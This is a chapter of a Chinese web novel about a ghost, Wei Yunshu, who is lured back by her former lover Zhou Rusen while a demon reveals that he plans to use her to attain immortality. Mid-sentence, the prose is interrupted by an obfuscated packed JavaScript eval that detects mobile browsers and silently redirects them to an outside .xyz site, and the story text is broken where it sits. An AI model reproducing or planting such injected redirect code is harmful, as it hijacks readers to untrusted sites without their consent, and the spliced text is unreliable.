卫韫书后退了几步,周如森跪着追上去,继续说:“这几年我一直都在克服对鬼的恐惧,你看,我成功了,我现在已经能和那些鬼家丁和谐相处,在这个鬼园子里呆一整晚都不会害怕。我计划着,只要能克服恐惧,我就去找你,我们两个人继续在一起,和以前一样,我们以前不快乐吗?” 周如森解释道:“这不仅是为了我,也是为了你,我不想我再次伤害到你,人怕鬼是天生的,不是我一个人这样,但我已经为你做出了最大的改变。” 卫韫书冷笑一声,用嘲讽的语气说:“为我做出最大的改变?包括娶妻生子?” 卫韫书离开的几年,周如森已经娶妻生子。 “我不爱她,我心里只有你,怎么可能还爱其他人?只是周家必须留下后代,因为周家有使命在身上。”周如森说。 周家的确有使命在身上,周如森通过占卜得知,日后周家将会诞生一个捉鬼师,结束这个世界捉鬼师断代,恶鬼横行的局面。 卫韫书气极反笑,“啪”的一下扇了周如森一巴掌。 周如森挨了一巴掌后,先是愣了几秒,然后掩面而泣。 周如森边哭边说:“上次你就是打了我一巴掌后就消失得无影无踪,我再也找不到你。韫书,那时你固然伤心,可你知道这几年我是怎么过的?我每天睁眼闭眼都是你的影子,夜里做梦是你,白天茶饭不思,我患了郁症,每天躺在床上,什么都不想做,饭也不想吃,脑子里全都是你,只希望你能回来。” 周如森紧握住卫韫书的手,哭道:“你走后我同行尸走肉一般,半条命都没了。我真的很后悔,我骂自己废物,我想要是那时我不在你面前露出害怕就好了,那样你就不会走,可怕不怕不是那时的我能控制的啊!经过一次分别,我现在很确定,我心里只有你,没了你我活不下去。再给我一次机会好吗,我不会再害怕了,韫书!” 周如森泪眼汪汪,仰头深情地看着卫韫书,卫韫书心中一动,心绪一乱,不受控制地心软了几分。 卫韫书觉得自己应该立即杀了这个男人,可她的手沉重得无法抬起;卫韫书心想要不自己马上离开吧,可脚像灌了铅,抬不起来。 这个男人是卫韫书的劫,他仅用可怜兮兮的目光,就把卫韫书拖住了。卫韫书觉得他是个漩涡,拉着拽着自己往下沉溺,可是有什么法子呢?自己好像命中注定要被他拉着往下沉,挣不脱,逃不开。 卫韫书心里感到一阵阵酸楚,她站在原地,不知如何办。 卫韫书侧头,不说话,周如森大着胆子站了起来,小心翼翼地捧起卫韫书的脸,仿佛在捧一件珍宝。 周如森低声笑道:“你不开心的时候总是不说话,只有我能哄你。” 卫韫书扭头就走。 “再给我一次机会好吗,韫书?”周如森说,“你永远不会知道我为了靠近你做了多少努力。” 说着,周如森“刷啦”一下拉开自己的衣服,露出光裸的胸膛,卫韫书转头一看, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448467|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当场愣住。 只见周如森胸口密密麻麻钉着大量血红色的钉子,钉子又多又密,数都数不清。 卫韫书捂住嘴,眼中流露出心疼。 周如森说:“克服了对鬼的恐惧后,我又想,你是鬼,可以一直游荡在人间,我是人,终有生老病死,可我不想只跟你做一世夫妻,我想永远跟你在一起。” “你对自己做了什么?”卫韫书问。 “之前你帮我处理掉的井底怪物,我研究了他们的来历,他们其实都是人,修炼长生不老之术出了岔子,走火入魔成了怪物。我找到了他们修炼长生不老术的秘籍,重新研究了一遍,修正了错误的地方。” “你学那些怪物炼长生不老术?” “是,只要我成功,就能脱胎换骨,得到一副新的躯壳,新躯壳不会生病、不会衰老、还能长生,到时我得了长生,你也永远留在世间,我们两个就能一直一直在一起了。” “你就不怕你失败,变成井底怪物的样子?” “我已经修正了秘籍错误的地方,失败的几率小了很多。” “可不是没有风险。” “我不怕风险。韫书,你还不明白我的心吗,为了能和你一直在一起,我不怕风险,哪怕真的变成了怪物,我也认。” 周如森很深情,卫韫书流出了眼泪。 卫韫书朝周如森奔去,投入了周如森的怀抱。 两人抱着说了好一会话,他们回忆起了过去,当初的相遇、相识,曾经的彻夜长谈,都被重新提起,卫韫书心又软了几分。 “咱们换个地方重新开始吧,韫书,这几年,你都去哪了?”周如森抚摸着卫韫书的头发,问。 “这几年我在大漠。” “我还没有见过大漠风光,你带我去看看好不好?” 卫韫书把头埋在周如森怀里,沉默了许久,终于说了一句:“好。” 沙漠中,金绮月把镜子一收,画面戛然而止。 时魏呆呆地坐在沙子上,一股酸意涌上心头,他心里很难受。 金绮月坐在他身旁,对他说:“你以为你进出绿洲几趟,跟卫姐姐聊了几次天,卫姐姐就喜欢上你了?错啦,她一直爱着周如森呢。” 金绮月凑近时魏,嘻嘻笑道:“瞧瞧人家周如森,又是跪又是哭的,真有手段,三两下就骗卫姐姐跟他重新开始。卫姐姐最受不了男人泪眼汪汪了,她就吃这款,生前吃,死后也吃,哪怕已经摔过几次跤,唉。” 见时魏不说话,金绮月又自顾自地说:“可能是因为我的执念与情爱无关,所以我一点都不理解卫姐姐,我觉得她跟人纠缠来纠缠去的很无聊。像我这样执念与情爱无关,就能做到潇洒,越是潇洒,就越有人爱。这些年有很多男人爱我,我开心的时候就跟他们在一起,不开心了就离开,有什么好纠缠的?” 金绮月不缺人爱,越是潇洒越有人爱,越是凄哀越无人疼,甚至有些男人在知道了金绮月是神通鬼后依然爱她,因为男人也慕强。 金绮月跟时魏说的是离开,但实际上没那么简单,金绮月通常会把他们杀了,这只恶鬼以杀人为乐。 时魏恍恍惚惚地说:“不是所有人都像你这么潇洒……等等!”时魏突然想到什么,扭头一看金绮月,着急地问:“你刚才说骗?周如森骗卫韫书?” 金绮月天真烂漫地一点头,“是哦。你真以为周如森修炼长生不老术是为了跟卫姐姐在一起吗?反啦!周如森重新勾搭卫姐姐,是想利用卫姐姐炼成长生不老术。” 金绮月好心提醒:“周如森一定会害死卫姐姐。” “不行!”时魏“蹭”的一下站起来,说:“我要救她。” 金绮月笑眯眯地看着时魏,“人家都不爱你,你也救?” “可我爱她。”时魏坚定道。 金绮月依旧笑眯眯,说道:“你要救她,就要照我说的去做。”